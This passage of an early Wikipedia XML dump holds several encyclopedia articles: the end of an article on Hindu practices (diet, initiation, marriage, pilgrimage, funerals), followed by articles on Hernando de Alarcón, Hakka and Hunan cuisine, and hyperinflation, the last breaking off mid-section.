===Dietary Habits and Doctrines===
{{seealso|Vegetarianism|Vegan|Cuisine of India|Jainism}}

[[Vegetarianism]] is not as common amongst Hindus as is thought in the West. While 82% of the population of India is Hindu, only about 20% is vegetarian.  Vegetarianism is recommended for its [[sattvic]] qualities.  Most Hindus abstain from [[Beef]] while others refrain from meat on holy days. {{facts}}

[[Vegetarianism]] has gained immense popular strength since the early beginning as is evident from [[Bhagavada Gita]], arising from the principle of [[ahimsa]], or absolute non-violence to '''all''' forms of life. This has also inspired a stricter, regimental adherence to vegetarianism in [[Jainism]] and [[Buddhism]]. Especially in the Indian state of [[Gujarat]] and many states in South India, many are puritanical in their adherence. [[Mahatma Gandhi]] was the most prominent proponent of veganism/vegetarianism since mid-15th century redefining Hinduism by Adi Shankaracharya.

[[Vegetarianism]] in Hinduism is encouraged due to the belief that animals have [[Atman]] or soul and thus should not be killed. Also killing leads to bad [[karmic]] consequences and the consumption of flesh is not [[sattvic]]; meaning one can not achieve full spirituality or a close connection with [[Brahman]] god.

In fact, in upper castes, medieval society it was frequently considered vulgar and uncouth - not to mention against the religion - to eat meat.

===Ceremonies, Observances and Pilgrimage===

Hinduism is also very diverse in the religious ceremonies performed by its adherents for different periods and events in life, and for death.

====Initiation====
Normally, Young male members of the [[Brahmin]] and [[Kshatriya]] caste may perform a coming of age ceremony, however as the caste system has been disregarded and was not part of [[Hinduism]], through birth as such, various members of other &quot;castes&quot; also perform this ceremony. The [[Upanayana]] commonly known as ''Janoy'', or the Thread Ceremony. The Janoy is a six or nine cotton threads/strings (approximately ones' arm length) rolled together to resemble an umblical cord to symbolise the New  birth/ new eyes {Upa = Higher/new; Nayan = Eyes/birth} as a student. Hence, from this day onward he belongs to the Guru, who takes the place of mother and father in nurturing and training young male. 

The Upanayana is akin to Bar-Mitzva in Jewish culture.  This ceremony was performed before the boy went up to the Guru's ashram (school). In a ceremony administered by a priest, a young boy usually shaves his hair off as a measure of austerity (or just some portions, as deemed appropriate) and a Janoy is hung from around his left shoulder to his right waist line for Brahmins and from right shoulders to left waistline by Kshatriyas. The ceremony varies from region to community, and includes reading from the [[Vedas]] and special ''mantras'' and ''shlokas''. For Brahmin boy, he has to rememeber the Gayatri Mantra. The boy also swears to obey his Guru and also takes oaths to confirm that he will not take intoxicants, speak the Truth, serve the Guru,and to stay celibate through education.

Young females (prepubescent until married) while do not have similar ritual passage as young males, they follow annual Monsoon Austerity Ritual of Purification by not eating cooked food for one or two weeks, depending on age of child. This is known as &quot;Goryo or Goriyo&quot;. During this period they cultivate from seeds of paddy, wheat and mung beans in a small pottary, to which they are asked by mother to guard and nurture.

Rites of initiation exist for the other castes, but differ from region to region. In [[Telugu people|Telugu]] society, for example, pre-teen females have an ''voneelu'' ceremony, in which the girl wears a ''ghagra choli'' or ''langa voni'' or half-sari (depending on what she likes) while friends and relatives bless her, and then changes into a sari - symbolising the transition from girlhood to womanhood. Traditional [[South Indian]] jewelery (which is also considered Hindu due to its religious artwork) is also worn. Telugu boys have a similar ceremony called a ''Panchalu'' ceremony when they are 14-15, during which they wear a formal gold-bordered ''pancha''.

Another initiation ceremony that has nearly died out, but is still practised among conservative Hindus, especially among the women of traditional temple priests of South India is when the girl has her first theetu (menstrual period {in this context}).  The ceremony is generally carried out only by women.  

Theetu is generally taken as an individual in a polluted state. A thirteen day theetu period follows after a family member dies, and a two day theetu for when a woman has her menstrual period. During theetu, an individual must not have physical contact with anyone that is not a family member, nor enter kitchen, prayer room, or temple. Traditional Hindu women generally keep their hair braided.  Women that are &quot;theetu&quot; are expected to keep their hair unbraided. However, these practices are getting less importance as modernisation progresses.

===New Year===
Unlike most other cultures, [[New Year]] is celebrated as a festival in India. Many regions have different calendars and mostly start in March. New Year is celebrated at different times of the year by people of different states. That is people from Andhra Pradesh, Karnataka and Maharashtra states celebrate New Year on the same day, but people from Tamil Nadu celebrate the New Year at different time. For example [[Telugu people]] call new year [[Ugadi]]. They eat a special kind of thing on the start of the year called ''Ugaadi pachchadi'' that contains all the tastes - bitter, sour, salt, sweet, hot each resembling one emotion like joy, sorrow, anger, etc. It is believed that eating [[Ugadi pachchadi]] makes them ready to face all the evens and odds in the coming year. Tamil people from Tamil Nadu call their new year as ''Varusha Pirappu'' which means birth of new year. [[Punjabi]] people from [[Punjab (India)|Punjab]] and other northern states in India also celebrate [[Vaisakhi]] which is a harvest festival on [[13 April]]. 

====Fasting====
Fasting is when an individual eats very little or abstains from food altogether. Fasting in common among Hindus during the holy days of Navaratri. Many Hindus choose certain days to refrain from eating certain food items, such as [[edible salt]] or [[sour]] foods. This is seen as a form of [[penance]] or [[tapasya]] or alternatively as a mean to develop a close bond with the [[God|Supreme Being]].

===Marriage===
Marriage is an important celebration in the life of a Hindu. Traditionally, parents look for a match for their son/daughter (though love marriages are now a days becoming common). In doing this, parents seek the help of a person, often a brahmin, called 'panthulu' in [[Telugu language|Telugu]] who has details of many people looking to get married.It is strongly believed that the ''jathakam'' (which is believed to govern the life of a hindu and is defined for each person according to the time and day of birth associating with moon signs and position of some stars) of the two people should match for their fortune after their marriage.Generally parents donot accept their son/daughter to marry a person of other caste. People spend large amounts of money for the marriage of their children even at the expense of running in to debts. All the friends and relatives are invited for the marriage and are offered delicacies.The whole marriage celebrations can take up to one week depending on the practice in that region.

====Pilgrimage====
[[Image:Mela.jpg|right|thumb|250px|In [[2001]], more than 20 million Hindus gathered on the banks of the river Ganges to celebrate the Kumbh Mela]]
Many Hindus make piligrimages to the holy shrines (known as ''Tirthas''). Hindu holy shrines include the abode of Shiva, Mount [[Kailash]] in [[Tibet]], Shiva's lingam in [[Amarnath]], [[Anantnag]], [[Rameshwaram]], and [[Kedarnath]]; the holy cities of [[Haridwar]], [[Dwarka]], [[Allahabad]], [[Mathura]], [[Tirumala]], [[Kashi]], , and [[Ayodhya]]; [[Vasihno Devi]] and [[Mahabalipuram]]. Hundreds of millions of Hindus annually visit holy rivers such as the [[Ganges]] (the real name of the Ganges River is the Ganga) and [[Varanasi|temples near them]], wash and bathe themselves to purify their sins, make sacrifices and win pivous credits.

The [[Kumbha Mela]] (''the Great Fair'') is a gathering of between 10 to 20 million Hindus upon the banks of the holy rivers, as periodically ordained in different parts of India by Hinduism's priestly leadership. The most famous is at the confluence of the [[Ganga]] and [[Yamuna]] in [[Uttar Pradesh]] which is known as Sangam. It is regarded as the largest gathering of humanity on Earth.

====Death====

Upon the death of a Hindu person, his or her body is ceremonially bathed and wrapped in clean, mostly white [[khadi]] cloth. The families often dress their departed relative in their best clothes, but maintain an emphasis on less color.

At the ceremony of cremation all mourners must wear only white clothes. In India, especially nothern India, white is the color of mourning. In modern times, dull colored clothes, shirts and pants are deemed acceptable.

An attending priest conducts the ceremony, purifying the body and pyre by sprinkling holy water and continuously singing or chanting religious [[hymns]] or songs. The body is to be set alight only by the eldest male child of the deceased, or the closest male relative. However, in modern society women are asserting their right as children and/or closest relative of the deceased to cremate their loved ones. In many cases, this is increasingly being accepted.

Hindus in India are cremated upon open grounds upon wooden pyres, though the use of cremation chambers is increasing in popularity owing to the scarcity of wood and lack of exposure. The ashes of the person's remains are gathered and placed in a pot, which may be ritually immersed in any of Hinduism's holy rivers by the family with an attending priest.  However, if one is unable to reach a Hindu holy river, it is best to find a river or body of water that flows into the ocean.  If Ganga water (or water from any holy river) is available in sealed copper pots, water is either poured into the mouth of the deceased, or mixed with the ashes following cremation, if it is not available, holy water prepared by priests is poured into the mouths of the deceased.  It is accepted that the ashes of the deceased will be immersed within 3 days.  If it is not done within this time frame, additional rituals must be carried out, and not very many people know what those rituals are.

The practice of cremation is not universal among Hindus.  Hindus of various regions and castes may bury their dead as well, as per their families tradition.  However, many prefer cremation in comparison to burial, even if burial is the common practice of the family.

==Religion for the common Hindu==

[[Image:Khujaraho.JPG|right|thumb|250px|[[Icons]], also known as [[murtis]], play a crucial role in Hinduism. Shown here is a 10th-century temple in Khajuraho depicting Hindu icons]] 
{{seealso|Yoga|Vedic astrology|Bhagavad Gita|Ramayana}}

To all Hindus, the [[Vedas]] are the main source of religious social and religious practices in Hindu, and indeed Indian society.

The [[Puranas]] are a wide collection of religious treatises, biographies and stories on the historical, mythological and religious characters in Hindu folklore, classic literature and sacred scriptures. There are often the source of popular Hindu folk tales and religious lessons.

[[Yoga]] is an important connection to a Hindu to his religious and historical heritage. The art of spiritual and physical exercises are a distinguished native tradition pursued by millions of Hindus worldwide.

Indian [[Vedic astrology]] is important to the conduct of any of life's important events such as marriage, applying for a post or admission, buying a house or starting a new business. To millions of Hindus, the kundali is an invaluable possession that charts the course of life for a man or a woman from the time of his birth, all ascertained by Vedic mathematics and astrology.

The most popular Hindu scriptures are the [[Mahabharata]], the holy war between good and evil. [[Krishna]]'s discourse to the warrior prince [[Arjuna]], the [[Bhagavad Gita]] is the guide book on life for the common Hindu. It is the source of divine guidance and inspiration, where the reader learns to interpret Krishna's teachings in the personal and worldly contexts of life. Most Hindus consider this book as the main source of religious teaching.

To hundreds of millions of Hindus, [[Rama]] is more than just an incarnation of the Supreme, or simply a just king of [[Ayodhya]]. He is the still living, thriving soul and identity of real Hinduism. [[Rama]] is the image of Hinduism, the Perfect Man, its conscience and undying hope of deliverance.

The doctrines of [[moksha]] by the discharge of personal, social and religious duty has developed into a strong characteristic of [[fatalism]], or acceptance of vagaries in life as the will of God, and not seeking to apply oneself to change institutions. Many dalit Hindus have been criticized for not aggressively combating this evil against them, and the factors influencing the submissiveness of society to brahmin authority, epidemics, natural disasters and authoritarian government through the [[history of India]] has been attributed to fatalistic thinking.

== See also ==
===Hindu people===
*[[Hinduism]]
*[[India]], [[Nepal]], [[Bali]]
*[[Demographics of India]]
*[[History of India]]
* [[World Hinduism]] 
* [[Hindu Nationalism]], [[Indian Nationalism]], [[Hindutva]]
* [[Survey of Hindu organisations]]

===Hinduism===
*[[Ramayana]]
*[[Mahabharata]]
*[[Bhagavad Gita]]
*[[Vaishnavism]]
*[[Shaivism]]
*[[Balinese Hinduism]]
*[[Criticism of Hinduism]]
* ''The Hindu prayer'' [[Jai Jagdish Hare]]

===Other Dharmic religions===
*[[Jainism]]
*[[Buddhism]]
*[[Sikhism]]

=== Literature ===
 
*Elst, Koenraad: Who is a Hindu [http://koenraadelst.voiceofdharma.com/books/wiah/index.htm]
*Goel, Sita Ram: How I became a Hindu [http://voi.org/books/hibh/]

=== External links ===
*[http://www.pariharam.com More about Hinduism]
*[http://www.voi.org/books/htemples2/app3.htm Meaning of the word Hindu]
*[http://www.experiencefestival.com/a/Hinduism/id/22591 Who is a Hindu]
* 
{{Hinduism}}

[[Category:Hinduism]]
[[Category:Indian culture]]

[[ru:Индус]]'''</text>
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  <page>
    <title>Hernando de Alarcón</title>
    <id>13678</id>
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      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
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      <minor />
      <comment>Robot: Changing category Spanish explorers</comment>
      <text xml:space="preserve">'''Hernando Ruiz de Alarcón''', a [[Spain|Spanish]] navigator of the [[16th century]], noted for having led an early expedition to the peninsula of [[Baja California (peninsula)|Baja California]], meant to be coordinated with [[Francisco Vasquez de Coronado|Francisco Vasquéz de Coronado]]'s overland expedition, and for penetrating the lower [[Colorado River (U.S.)|Colorado River]], perhaps as far as the modern California-Arizona boundary.

Little is known about Alarcón's life outside of his expedition in [[New Spain]]. He set sail on [[May 9]], [[1540]] with orders from the Spanish Viceroy [[Antonio de Mendoza]] to await at a certain point on the coast the arrival of an expedition by land under the command of Coronado. 

He sailed into the [[Gulf of California]], which had been explored the previous summer by [[Francisco de Ulloa]]. He made a careful survey of the coast, and on [[26 September]] ascended the Colorado (then called the Rio del Tizon or Rio de Buena Guia) for 85 Spanish miles, being the first European to do so. The meeting with Coronado was not effected, however, although Alarcón reached the appointed place and left letters, which were soon afterwards found by [[Melchior Diaz]], another explorer.

Alarcón was the first to determine with certainty that Baja California was a peninsula and not an island, as had been supposed. Upon his return to New Spain in [[1541]] he constructed a more accurate [[Cartography|map]] of California depicting it correctly as a peninsula. Nevertheless, since the new cartographic information went unpublished, the notion of the [[Island of California]] persisted on many European maps well into the [[18th century]].

[[Category:Explorers of North America|Alarcón, Hernando de]]
[[Category:Spanish explorers and conquistadores|Alarcón, Hernando de]]</text>
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  </page>
  <page>
    <title>Hakka cuisine</title>
    <id>13679</id>
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        <username>Olivier</username>
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      <minor />
      <comment>rmv redundant cat</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

'''Hakka cuisine''' is the cooking style of the [[Hakka]], and originally came from southeastern China ([[Guangdong]] and [[Fujian]]).

[[Hakka]] people are migratory tribes of ethnic [[Han people]] originated from central [[China]]. Their ancestors exiled themselves from foreign rulers such as the [[Mongol]]s during the [[Yuan Dynasty]]. Due to their late migration to the southern areas of China, they found that all of the best land had been settled long before. The Hakkas then were forced to settle in the sparsely settled hill country.

As a result, fresh produce was at a premium, forcing the Hakkas to heavily utilize dried and preserved ingredients, such as various kinds of fermented [[beancurd]] and much use of [[onion]]. Due to the hill country being far inland seafood is a rarity. [[Pork]] is by far the most favored meat of the Hakkas, with belly bacon being the preferred cut as it has alternating layers of fat and lean meat, providing an excellent texture.

Famous dishes in Hakka restaurants in [[Hong Kong]] include:
* Salt baked chicken (&amp;#26481;&amp;#27743;&amp;#40573;&amp;#28951;&amp;#38622;) - supposed to be baked inside a heap of hot salt, but many restaurants simply cook in brine nowadays.
* Duck stuffed with rice (&amp;#31983;&amp;#31859;&amp;#40232;) - a whole duck is de-boned while maintaining the shape of the bird, the cavities are filled with seasoned [[sticky rice]].
* [[Tofu soup in pot]] (&amp;#26481;&amp;#27743;&amp;#37312;&amp;#35910;&amp;#33104;&amp;#29042;) - the stuffed tofu cubes.
* Beef ball soup - very simple clear broth with lettuce and beef balls.

Other traditional Hakka dishes include:

* Fried pork with fermented beancurd: this is a popular [[Chinese New Year]] offering which involves two stages of cooking. As previously mentioned, fresh food was at a premium in Hakka areas, so the marinated pork was deep fried to remove the moisture in order to preserve it. When a meal of pork was desired, the fried pork was then stewed with water and wood's ear fungus. Think of it as a Hakka equivalent to canned soup.

* [[Yong tao foo|''Ngiong Tew Foo'']] (&amp;#37312;&amp;#35910;&amp;#33104;, stuffed [[tofu]] cube): one of the more popular foods that originated from deep hakka roots, it consists of beancurd cuboids heaped with minced meat(mostly pork) and herbs, then fried till golden brown. Variations include usage of various oddments including [[eggplant]]s, mushrooms(shitake) and bitter melon stuffed with the same meat paste. Traditionally the Yong tao foo is served in a clear yellow bean stew along with the bittergourd and shitake variants. Modern variations that are more commonly seen sold in foodstalls are made by stuffing the beancurd with solely [[surimi|fish paste]]. Usage of oddments to replace the beancurd are more noticeable in this version, ranging from fried fish maw slices and lady's fingers to chillis. 
Note: This fish paste variation is not a real hakka dish.

* ''Kiu nyuk'' (&amp;#25187;&amp;#32905;, sliced [[pork]] with preserved [[mustard greens]]): Alternate pieces of pork and preserved mustards are cooked and served in a dark sauce made up of [[soy sauce]] and [[sugar]]. A variation of the recipe on [[Wikibooks:Cookbook|Wikibooks Cookbook]] is available [[Wikibooks:Cookbook:Steamed Pork With Mustard Greens|here]].

* ''Lui Cha'' or Pounded Tea (&amp;#25794;&amp;#33590;): A consortment of tea leaves (usually [[green tea]]), [[peanut]]s, [[mint]] leaves, [[sesame seed]]s, [[mung bean]]s and other herbs, which are pounded or ground into a fine powder which is mixed as a drink, or as a dietary brew to be taken with rice and other vegetarian side dishes such as greens, [[beancurd]]s and pickled [[radish]].

Hakka food also includes takes on other traditional Chinese dishes, just as other Chinese dialects do.

See also: [[cuisine]], [[Chinese cuisine]], [[cooking]]

[[Category:Chinese cuisine]] 
[[Category:Hakka cuisine| ]] 
[[category:Hakka culture|Cuisine]]
[[zh:&amp;#23458;&amp;#23478;&amp;#33756;]]</text>
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  <page>
    <title>Hunan cuisine</title>
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      <comment>rv; there is no simplified form</comment>
      <text xml:space="preserve">{{Cuisine_of_China}}

'''Hunan Cuisine''', sometimes called '''Xiang Cuisine''' ({{zh-cp|c=&amp;#28248;&amp;#33756;|p=xi&amp;#257;ng c&amp;agrave;i}}), consists of the cuisines of the [[Xiangjiang]] region, [[Dongting Lake]] and western [[Hunan]] Province, in [[China]].

While similar to [[Szechuan cuisine]], Hunan Cuisine is often spicier and contains a larger variety of ingredients.  Hunan is known for its liberal use of [[chilli pepper]]s, [[shallot]]s and [[garlic]].  Many Hunan dishes are characterized by a strongly flavored brown [[sauce]].  Some rely on sweetness from ingredients such as [[honey]]; sweet and sour sauces are also characteristic of the style.

Hunan cuisine is difficult to precisely characterize, as it has absorbed stylistic elements from all over China.  For this reason, the region is sometimes regarded as China's culinary center.  Common cooking techniques include stewing, frying, pot-roasting, braising, and smoking.  Due to the high agricultural output of the region, ingredients for Hunan dishes are many and varied.  

Some representative Hunan dishes include:

* [[Sweet and Sour Chicken]]
* [[Orange Beef]]
* [[Crispy Duck]]
* [[Dongan Chicken]]
* [[Peppery and Hot Chicken (Hot and Spicy Chicken)]]
* [[Lotus Seeds in Sugar Candy]]

== See also ==

* [[Cuisine]]
* [[Chinese Cuisine]]
* [[Szechuan cuisine]]
* [[Cooking]]

[[Category:Chinese cuisine]]

[[zh:&amp;#28248;&amp;#33756;]]</text>
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  <page>
    <title>Hyperinflation</title>
    <id>13681</id>
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      <comment>/* See also */ relevance?  what is Wikicities? see discussion</comment>
      <text xml:space="preserve">:''Certain figures in this article use [[scientific notation]] for readability.''

In [[economics]], '''hyperinflation''' is [[Inflation (economics)|inflation]] which is &quot;out of control&quot;, a condition in which prices increase rapidly as a [[currency]] loses its value. No precise definition of hyperinflation is universally accepted. One simple definition requires an monthly inflation rate of 50% or more. The definition used by most economists is &quot;an inflationary cycle without any tendency toward equilibrium.&quot; A [[Virtuous circle and vicious circle|vicious circle]] is created in which more and more inflation is created with each iteration of the cycle. Although there is a great deal of debate about the root causes of hyperinflation, it becomes visible when there is an unchecked increase in the money supply or drastic debasement of coinage.

==Characteristics==
[[Image:Inflation-1923.jpg|thumb|right|200px|Inflation 1923-24: A woman in Germany feeds her tiled stove with money. The money is worth less than firewood.]]
In 1956, [[Phillip Cagan]] wrote &quot;Monetary Dynamics of Hyperinflation&quot;, generally regarded as the first serious study of hyperinflation and its effects. In it he defined hyperinflation as a monthly inflation rate of at least 50% (prices doubling every 51 days).

International Accounting Standard 29 describes four signs that an economy may be in hyperinflation:

#the general population prefers to keep its wealth in non-monetary assets or in a relatively stable foreign currency. Amounts of local currency held are immediately invested to maintain purchasing power;
#the general population regards monetary amounts not in terms of the local currency but in terms of a relatively stable foreign currency. Prices may be quoted in that currency;
#sales and purchases on credit take place at prices that compensate for the expected loss of purchasing power during the credit period, even if the period is short; 
#interest rates, wages and prices are linked to a price index; and the cumulative inflation rate over three years approaches, or exceeds, 100%.

Rates of inflation of several hundred percent per month are often seen.  Extreme examples include [[Germany]] in the early [[1920s]] when the rate of inflation hit 3.25 million percent per month (prices double every 49 hours) and [[Greece]] during its occupation by [[Germany|German]] troops (1941-1944) with 8.55 billion percent per month (prices double every 28 hours).  The most severe known incident of inflation was in [[Hungary]] after the end of [[World War II]] at 41.9 [[Names of large numbers|quadrillion]] ({{sn|4.19|16}})  percent per month (prices double every 15 hours).  More recently, [[Yugoslavia]] between [[October 1]], [[1993]] and [[January 24]], [[1994]] with 5 quadrillion percent during this period. Other more moderate examples include other [[Eastern Europe|Eastern European]] countries such as [[Ukraine]] in the period of economic transition in the early [[1990s]], in [[Latin American]] countries such as [[Bolivia]] and [[Peru]] in [[1985]] and [[1988]]-[[1990]], in [[Mexico]] from [[1982]] to [[1988]], in [[Argentina]] in the aftermath of the [[1982]] Falklands-Malvinas War, and in [[Brazil]] in the early 1990s. Hyperinflation in Mexico eventually forced prices so high that in 1993 [[Carlos Salinas de Gortari]] had to replace the [[peso]] ($) with the [[nuevo peso]] (N$). The parity was N$1 for $1000; in short, he stripped three zeroes from the peso.

==Root causes of hyperinflation==
Hyperinflation is generally associated with [[paper money]] because the means to increasing the money supply with paper money is the simplest: add more zeroes to the plates and print, or even stamp old notes with new numbers. It also is the most dramatic.  There have been numerous episodes of hyperinflation, followed by a return to &quot;hard money&quot;. Older economies would revert to [[hard currency]] and [[barter]] when the circulating medium became excessively devalued, generally following a &quot;run&quot; on the store of value.

Unlike inflation, which some economists feel can be a justifiable policy choice, hyperinflation is always regarded as destructive: it effectively wipes out the purchasing power of savings held as paper assets of the country afflicted with it; distorts the economy in favor of extreme consumption and hoarding of real assets; causes the monetary base, whether specie or hard currency, to flee the country; and makes the afflicted area anathema to investment. Hyperinflation is met with drastic remedies, whether [[shock therapy (economics)|shock therapy]] of slashing government expenditures or altering the currency basis. An example of the latter is placing the nation in question under a [[currency board]] as [[Bosnia-Herzegovina]] has now in 2005, which allows the central bank to print only as much money as it has in foreign reserves. Another example is [[dollarization]] as [[Ecuador]] officially initiated in September 2000 in response to a massive 75% loss of value of the Sucre currency in early January 2000. [[Dollarization]] is the use of a foreign currency (not necessarily the U.S. dollar) as a national unit of currency.

The aftermath of hyperinflation is equally complex. As hyperinflation has always been a traumatic experience for the area which suffers it, the next policy regime almost always enacts policies to prevent its recurrence. Often this means making the central bank very aggressive about maintaining price stability as is the case with the German [[Bundesbank]], or the move to some hard basis of currency for example a currency board. Many governments have enacted extremely stiff wage and price controls in the wake of hyperinflation, which is, in effect, a form of forced savings: goods become unavailable, and hence people hoard cash, as was the case in the People's Republic of China under &quot;Great Leap Forward&quot; and &quot;Cultural Revolution&quot;.

[[Image:500000000000 dinars.jpg|frame|thumb|right|200px|A 500,000,000,000 (500 [[billion]]) [[Yugoslavia dinar]] [[banknote]] circa [[1993]], the largest [[nominal value]] ever officially printed in [[Yugoslavia]], the final result of hyperinflation. Photo courtesy of [[National Bank of Serbia]] ([http://www.nbs.yu www.nbs.yu])]]

For a variety of reasons, governments have occasionally resorted to literally printing money to meet their expenses. Hyperinflation can be sarcastically defined as the point in time when a monetary authority can't even do that: theories of hyperinflation generally look for a relationship between [[seignorage]] and the [[inflation tax]]. Seignorage is the profit made from coining money, named because it was one of the rights of nobility. The &quot;inflation tax&quot; is the amount of improvement in a government's position from its own inflationary actions — since governments are almost always net debtors, reducing the value of previous borrowing reduces their debt load as percentage of revenues, and, in effect, reduces the amount of time it will take the government to pay those debts.

Those holding government debt, directly or indirectly, have less buying power. Governments also owe money to other people, and must maintain control, or [[Fiat currency|fiat]], over their territory. The root causes of hyperinflation, whether in Cagan's model or in the neo-classical models, focus on the point in time when the increase in money supply, or drop in basic money stock, make it impossible for a government to improve its position by seignorage and the inflation tax. That is, when government obligations, which are not denominated as money, have a cost which, when [[fiat money]] is printed, increase in cost by more than the gain for printing the money. 

From this, it might be wondered why any state would engage in actions that cause, or continue, hyperinflation. One reason is that often the alternative to hyperinflation is depression. In late 2001, the [[Argentina|Argentine]] peso collapsed in value. Rather than printing sufficient money for people to withdraw from banks, which they feared would start a run on the banks, the government took the peso off of its dollar peg. Many international economists predicted that they would have to either get a new loan from the [[International Monetary Fund|IMF]] and institute [[Shock therapy (economics)|shock therapy]], or else hyperinflate. Currency controls were imposed, tariffs instituted, and the economy was allowed to fall into a severe recession: unemployment hit 25%; homelessness and crime spiraled upwards, and the poverty rate peaked at over 50%. 

It has been argued that the hyperinflation of [[1920s]] [[Germany]] was fostered by the government in order to wipe out domestic debt accrued during the [[First World War]], citing the apparent ease with which the currency was changed.

In general, hyperinflation is associated with [[fiat money]] and/or very rapid [[debasement]] of currency, such as the 1834-1839 debasement of the [[akçe]], the standard silver coin of the [[Ottoman Empire]], which saw its value drop by fivefold, increasing the nominal amount of circulating medium. Episodes of hyperinflation produce staggering increases in price — and bank notes denominated in millions, billions, and trillions, coins denominated in the millions, or withdrawn from circulation altogether. The vicious cycle of borrowing to meet all expenses begins, and the monetary authority does not act to contain the cycle and may indeed accommodate it.  Hyperinflation is often the result of governments using unbacked currency during war time to pay the expenses of the conflict, such as the [[United States]] in the 1770s and the [[Republic of China]] in the 1940s. 

The root cause is a matter of more dispute. For both economists of the [[classical economics|classical school]] as well as [[monetarism|monetarist]]s, it is always the result of the monetary authority's irresponsibility (or stupidity), &quot;running the printing presses.&quot; These models focus on the unrestrained [[seignorage]] of the monetary authority, and the gains from the [[inflation tax]]. For [[neoliberalism|neo-liberal]] economists, hyperinflation is considered to be the result of a crisis of confidence, where the monetary base of the country flees, producing widespread fear that individuals will not be able to convert local currency to some more transportable form — for example gold, or an internationally recognized [[hard currency]] such as the [[US dollar]]. [[#Money matters|See below]] for more discussion. These models are based on the [[neo-classical economics|neo-classical synthesis]] and chart the drop in the country's [[money stock]] against hyperinflation.

Inflation can also occur in the absence of a central bank. One case is when there is &quot;free banking&quot; but banks are allowed suspend convertibility in violation of their contracts with their customers. These episodes are often brief, as there is then a run on banks, a panic, and a collapse in the money supply leading to a depression and deflation.

Less commonly, hyperinflation may occur when there is [[debasement]] of the coinage — wherein coins are consistently shaved of some of their silver and gold, increasing the circulating medium and reducing the value of the currency. The &quot;shaved&quot; specie is then often restruck into coins with lower weight of gold or silver.  Historical examples include Ancient Rome and China during the Song Dynasty.  

One common cause of hyperinflation is warfare, civil war, or intense internal conflict of other kinds: governments needing to do whatever is necessary to continue fighting, since the alternative is defeat. They cannot cut outlays, because the main outlay is for armaments to fight the war itself. Further, a civil war may make it difficult to raise taxes or to collect the existing taxes. In normal times, a deficit is financed by borrowing, that is selling government bonds. But under conditions of war or civil war, it is typically difficult and expensive to borrow, especially if the war is going poorly for the government in question. The banking authorities, whether central or not, &quot;monetize&quot; the deficit, printing money to pay for the government's efforts to survive. The hyperinflation under the Chinese Nationalists from 1939-1945 is a classic example of a government printing money to pay civil war costs. By the end, currency was flown in over the [[Himalaya]], and then old currency was flown out to be
destroyed.

In the United States, hyperinflation was seen during the [[American Revolutionary War|Revolutionary War]] and during the [[American Civil War|Civil War]], especially on the [[Confederate States of America|Confederate]] (losing) side. Many other cases of extreme social conflict encouraging hyperinflation can be seen, as in [[Germany]] after [[World War I]], [[Hungary]] at the end of [[World War II]] and in [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] after the death of [[Josip Broz Tito|Marshall Tito]].

==The Weimar Inflation in Germany==
[[Image:billionmarks.jpg|thumb|right|200px|A 1000 Mark banknote, over-stamped in red with 1,000,000,000 (1 billion) Marks, issued in Germany during the hyperinflation of 1923]]
The hyper-inflation episode in the Weimar Republic in the 1920's is, in many respects, the paradigmatic example, and the one which made economists and others aware of hyper-inflation as a phenomenon unto itself, it was not the first example of hyper-inflation, but it was the first one that was recognized as such.

Following the [[First World War]], the [[Treaty of Versailles]] forced Germany to pay significant reparations (compensation) to the nations that won the war, starting in 1919. However, Germany had a very weak economy at this time: in effect, the young republic of Weimar had no money. To pay its reparations and rebuild the economy, the German government printed  money. However, there was no faith in this money, and the hyperinflation began. The inflation reached its peak by November 1923, but ended when a new currency (the [[Rentenmark]]) was introduced. The government stated this new currency had a fixed value, and this was accepted. 

Hyperinflation did not directly bring about the [[Nazi]] takeover of Germany; the inflation ended with the introduction of the Rentenmark and the [[Weimar Republic]] continued for a decade afterward. The inflation did, however, call into question the competence of [[Liberalism|liberal]] institutions, especially amongst a middle class who had held cash savings and bonds. It also produced resentment of Germany's bankers and speculators (many of them [[Jewish]]) who were blamed for the inflation.

== Models of hyperinflation ==
[[Image:millionlira.jpg|thumb|right|200px|A 1,000,000 (1 Million) Lira banknote, issued by Turkey.  The Lira was replaced by the New Turkish Lira in 2005, at 1 million old Lira = 1 New Lira]]
[[Image:500kcruzeiros.jpg|thumb|right|200px|A 500,000 Cruzeiro banknote, issued by Brazil in 1993. Now worthless.  Every few years the currency has been renamed, and three zeros dropped from the bank notes.  A 1960's Cruzeiro is now worth less than one trillionth of a US cent, after adjusting for multiple devaluations and note changes.]]
Since hyperinflation is visible as a monetary effect, models of hyperinflation center on the demand for money. Economists see both a rapid increase in the [[money supply]] and an increase in the [[Quantity Theory of Money|velocity of money]]. Either one or both of these encourage inflation and hyperinflation. A dramatic increase in the velocity of money as the cause of hyperinflation is central to the &quot;crisis of confidence&quot; model of hyperinflation, where the risk premium that sellers demand for the paper currency over the nominal value grows rapidly. The second theory is that there is first a radical increase in the amount of circulating medium, which can be called the &quot;monetary model&quot; of hyperinflation. In either model, the second effect then follows from the first — either too little confidence forcing an increase in the money supply, or too much money destroying confidence.

In the ''confidence model'', some event, or series of events, such as defeats in battle, or a run on stocks of the specie which back a currency, removes the belief that the authority issuing the money will remain solvent — whether a bank or a government. Because people do not want to hold notes which may become valueless, they want to spend them in preference to holding notes which will lose value.  Sellers, realizing that there is a higher risk for the currency, demand a greater and greater premium over the original value. Under this model, the method of ending hyperinflation is to change the backing of the currency — often by issuing a completely new one. War is one commonly cited cause of crisis of confidence, particularly losing in a war, as occurred during Napoleanic Vienna, and capital flight, sometimes because of &quot;contagion&quot; is another. In this view, the increase in the circulating medium is the result of the government attempting to buy time without coming to terms with the root cause of the lack of confidence itself.

In the ''monetary model'', hyperinflation is a [[positive feedback]] cycle of rapid monetary expansion. It has the same cause as all other inflation: money-issuing bodies, central or otherwise, produce currency to pay spiralling costs, often from lax fiscal policy, or the mounting costs of warfare. When businesspeople perceive that the issuer is committed to a policy of rapid currency expansion, they start factoring the decay of the currency's value into prices. The issuer must then accelerate its expansion to cover these prices, which pushes the currency value down even faster. According to this model the issuer cannot &quot;win&quot; and the only solution is to abruptly stop expanding the currency. Unfortunately, the end of expansion can cause a severe financial shock to those using the currency as expectations are suddenly adjusted. This policy, combined with reductions of pensions, wages, and government outlays, formed part of the [[Washington consensus]] of the 1990s.

